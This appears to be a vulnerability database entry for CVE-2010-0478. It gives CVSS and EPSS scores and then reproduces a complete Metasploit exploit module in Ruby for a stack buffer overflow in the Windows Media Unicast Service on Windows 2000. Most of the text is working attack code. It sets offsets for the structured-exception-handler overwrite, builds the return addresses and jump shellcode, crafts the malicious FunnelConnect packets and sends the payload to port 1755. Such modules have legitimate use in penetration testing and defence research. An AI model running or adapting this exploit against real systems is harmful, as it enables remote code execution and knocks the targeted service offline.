9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.969 High
EPSS
Percentile
99.7%
This module exploits a stack buffer overflow in the Windows Media Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially crafted FunnelConnect request, an attacker can execute arbitrary code under the “NetShowServices” user account. Windows Media Services 4.1 ships with Windows 2000 Server, but is not installed by default. NOTE: This service does NOT restart automatically. Successful, as well as unsuccessful exploitation attempts will kill the service which prevents additional attempts.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Windows Media
Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
crafted FunnelConnect request, an attacker can execute arbitrary code
under the "NetShowServices" user account. Windows Media Services 4.1 ships
with Windows 2000 Server, but is not installed by default.
NOTE: This service does NOT restart automatically. Successful, as well as
unsuccessful exploitation attempts will kill the service which prevents
additional attempts.
},
'Author' => 'jduck',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-0478' ],
[ 'OSVDB', '63726' ],
[ 'MSB', 'MS10-025' ],
[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English',
{
# Unpatched:
# SEH handler offset is 840
# Stack return is at 652
# "Patched":
# SEH handler offset is 832
'Offset' => 840,
'SEHOffsets' => [ 832, 840 ],
'EIPOffset' => 652+3,
'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => '2010-04-13',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(1755)
])
end
def exploit
@pkts = 0
cmd_buf = ''
# LinkViewerToMacConnect
subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
#subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
#subscriber = "Spooooon!"
subscriber << "\x00"
subscriber = Rex::Text.to_unicode(subscriber)
cmd_buf << make_command(0x30001, subscriber)
# LinkViewerToMacConnectFunnel
name = ''
name << "\\\\"
name << rand_text((target['Offset'] + 4 + 5) / 2)
name << "\\"
name << "\x00"
# Convert it to Unicode..
name = Rex::Text.to_unicode(name)
#stuff = Rex::Text.pattern_create((target['Offset'] + 4 + 5) + 4)
stuff = rand_text((target['Offset'] + 4 + 5) + 4)
stuff.slice!(0,4)
name[4,stuff.length] = stuff
# Insert the payload..
name[4,payload.encoded.length] = payload.encoded
# Build the SEH frame that leads to the payload...
target['SEHOffsets'].each { |off|
seh = ''
case off
when 832
code = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-652").encode_string
code << rand_text(8 - code.length)
name[off-8,code.length] = code
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-8").encode_string
seh << rand_text(2)
seh << [target.ret].pack('V')
when 840
seh << generate_seh_record(target.ret)
asm = "add edi, 0x04\njmp edi"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
end
name[off,seh.length] = seh
}
# Make sure the return address points at an invalid address
off = target['EIPOffset']
name[off,1] = [0x80 + rand(0x7f)].pack('C')
# Add it to the command buffer..
cmd_buf << make_command(0x30002, name)
# Build the TcpMessageHeader ..
pkt = make_tcpmsghdr(cmd_buf)
# Handle the transacation..
connect
print_status("Sending crafy commands (#{pkt.length} bytes) ...")
sock.put(pkt)
handler
disconnect
end
#
# Create a TcpMessageHeader from the supplied data
#
def make_tcpmsghdr(data)
len = data.length
# The server doesn't like packets that are bigger...
fail_with(Failure::BadConfig, 'Message length is too big') if (len > 0x1000)
len /= 8
# Pack the pieces in ...
pkt = [
1,0,0,0, # rep, ver, verMinor, pad
0xb00bface, # session id (nice)
data.length + 16, # msg len
0x20534d4d, # seal ("MMS ")
len + 2, # chunkCount
@pkts, 0, # seq, MBZ
rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
].pack('CCCCVVVVvvVV')
# Add the data
pkt << data
# Pad it to 8 bytes...
left = data.length % 8
pkt << ("\x00" * (8 - left)) if (left > 0)
pkt
end
#
# Create a command packet
#
def make_command(msg_id, extra)
# Two opcodes, get handled differently..
case msg_id
when 0x30001
data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')
when 0x30002
data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')
end
# Put some data on...
data << extra
# Pad it to 8 bytes...
left = data.length % 8
data << ("\x00" * (8 - left)) if (left > 0)
# Combine the pieces..
pkt = [
(data.length / 8) + 1, # chunkLen
msg_id # msg ID
].pack('VV')
pkt << data
pkt
end
end